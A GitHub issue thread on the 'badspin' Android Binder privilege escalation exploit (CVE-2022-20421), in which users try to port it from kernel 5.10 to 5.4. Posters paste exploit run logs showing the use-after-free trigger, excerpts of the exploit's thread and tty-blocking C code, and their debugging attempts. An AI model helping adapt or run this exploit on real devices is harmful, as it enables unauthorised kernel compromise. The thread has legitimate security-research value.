0xkol / badspin

Bad Spin: Android Binder Privilege Escalation Exploit (CVE-2022-20421)
MIT License
226 stars 32 forks source link

Why does the same exploit code behave differently on kernel 5.4 and kernel 5.10 #14

Open Securee opened 10 months ago

Securee commented 10 months ago

@0xkol after successfully exploited in a kernel 5.10.66,see issue12,I want to exploit in a new device, with kernel 5.4.147. In the kernel 5.10.66,all exploit is run correctly, but in the new device with kernel 5.4.147:

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset [x] Trigger vulnerability... (mode = 1) [5068:5068] New binder client: A [5070:5070] New binder client: C [5069:5069] New binder client: B A: lookup B => handle = 2 C: lookup A => handle = 2 A: Waiting for strong nodes... B: Searching for magic badcab1ebadcab1e.... A: 1 references accepted A: Sending 1 strong handles to B Txn size: 1023.562500KB C: Wait for A... B: Destroying B: Finish. monitor_thread_a: Waiting for death notification monitor_thread_a: Found dead binder (cookie = 0x5858585858585858) monitor_thread_a: Done A: Done sending transaction. BR_FAILED_REPLY poc_a_wait_for_c_death: Waiting for C death notification [do_client_b] Callusleep(500*1000). [x] Trigger use-after-free (crash)

I had chaged the NR_EPFDS from 500 to 200.

after some debug log,I found: beforce leak_inner_lock_offset in do_client_b, it call usleep(5001000) for sleep 0.5s. but it seem to hang on and then the system crash. if I undo the call usleep(5001000)

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset [x] Trigger vulnerability... (mode = 1) [5112:5112] New binder client: C [5110:5110] New binder client: A [5111:5111] New binder client: B C: lookup A => handle = 2 A: lookup B => handle = 2 A: Waiting for strong nodes... B: Searching for magic badcab1ebadcab1e.... A: 1 references accepted A: Sending 1 strong handles to B C: Wait for A... Txn size: 1023.562500KB B: Destroying B: Finish. monitor_thread_a: Waiting for death notification monitor_thread_a: Found dead binder (cookie = 0x5858585858585858) monitor_thread_a: Done A: Done sending transaction. BR_FAILED_REPLY poc_a_wait_for_c_death: Waiting for C death notification [do_client_b] Callusleep(500*1000). [leak_inner_lock_offset] Enter. Testing ptmx 0 (fd 4) [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx. [x] Trigger use-after-free (hang on a while and then crash)

in the unblock_blocker_thread, void unblock_blocker_thread(poc_client_t client, int blocker_thread_index) { exploit_ctx_t ctx = client->ctx; poc_client_private_data_b b = client->private_data; while (!atomic_load(&ctx->sync_var_vuln_ptmx[blocker_thread_index])) { LOG("[%s] ctx->sync_var_vuln_ptmx[%d] ==0,so need to turn_on_ptmx.\n",func,blocker_thread_index); turn_on_ptmx(b->ptmx[blocker_thread_index]); } } turn_on_ptmx(b->ptmx[blocker_thread_index]) --- the will unblock the write syscall in the blocker_thread: void blocker_thread(void arg) { struct blocker_thread_info info = arg; pin_to_cpu(0); flush_ptmx(info->ptmx); turn_off_ptmx(info->ptmx); // make the write() syscall to block.

light_cond_wait(&info->ctx->lc_spray_tty_post);

/* Create tty write buffer and block */
SYSCHK(write(info->ptmx, info->data, info->data_size));

atomic_store(&info->ctx->sync_var_vuln_ptmx[info->blocker_index], 1);

  LOG("[%s] set ctx->sync_var_vuln_ptmx[%d] to 1.\n",func,info->blocker_index); return NULL; } but there is the proplem:after call turn_on_ptmx, it seem the info->ctx->sync_var_vuln_ptmx[info->blocker_index] not to be set to 1(if yes ,the log will be printed),so the unblock_blocker_thread will be in a dead loop.

Securee commented 10 months ago

from the exploit code, in the process B(by do_client_b), it create 50 block threads in cpu 0 by pin_to_cpu(0) while in vuln_mode_detect vuln_mode. Beforce to search AB_MAGIC,the main thread in process B switch to cpu 3 by call pin_to_cpu(3), after doing that, the main thread switch back to cpu 0 by call call pin_to_cpu(0). After switch main thread of process B to cpu 0, if it try to call usleep(500*1000),it will cause the device hang for a while and then panic.The panic mybe due to the fact that there had 50 block thread while call write syscall in the cpu 0? I have tried: 1) not call pin_to_cpu(0) after search AB_MAGIC -- this mean the main thread of process will run in cpu 3 the code in process B will go to the unblock_blocker_thread function, and call turn_on_ptmx(b->ptmx[blocker_thread_index]),but it seem to not successfully,because the ptmx always block in the block thread.

2) moved the call pin_to_cpu(0) to the function unblock_blocker_thread this time, when after to call turn_on_ptmx(b->ptmx[blocker_thread_index]),the device hang on for while and then panic.

So, from the aboved try, it seem the device will panic while there have 50 block thread(by call write syscall) in cpu 0 if try call any function in the same cpu(here is the cpu 0).

kjjiffy commented 7 months ago

Hello, On which device were you working with when you faced this issue? Could you find a solution for the device getting hanging while exploitation? I'm also facing the same issue on a Moto device with the exact kernel version. Could you please help me with this?

Securee commented 7 months ago

Hello, On which device were you working with when you faced this issue? Could you find a solution for the device getting hanging while exploitation? I'm also facing the same issue on a Moto device with the exact kernel version. Could you please help me with this?

I haven't solved this problem yet because I have no more time to deal with it

diabl0w commented 5 months ago

i tried to follow this description the best I could, I believe I am having the same issue on 5.4 kernel.... 5.10 kernel device works fine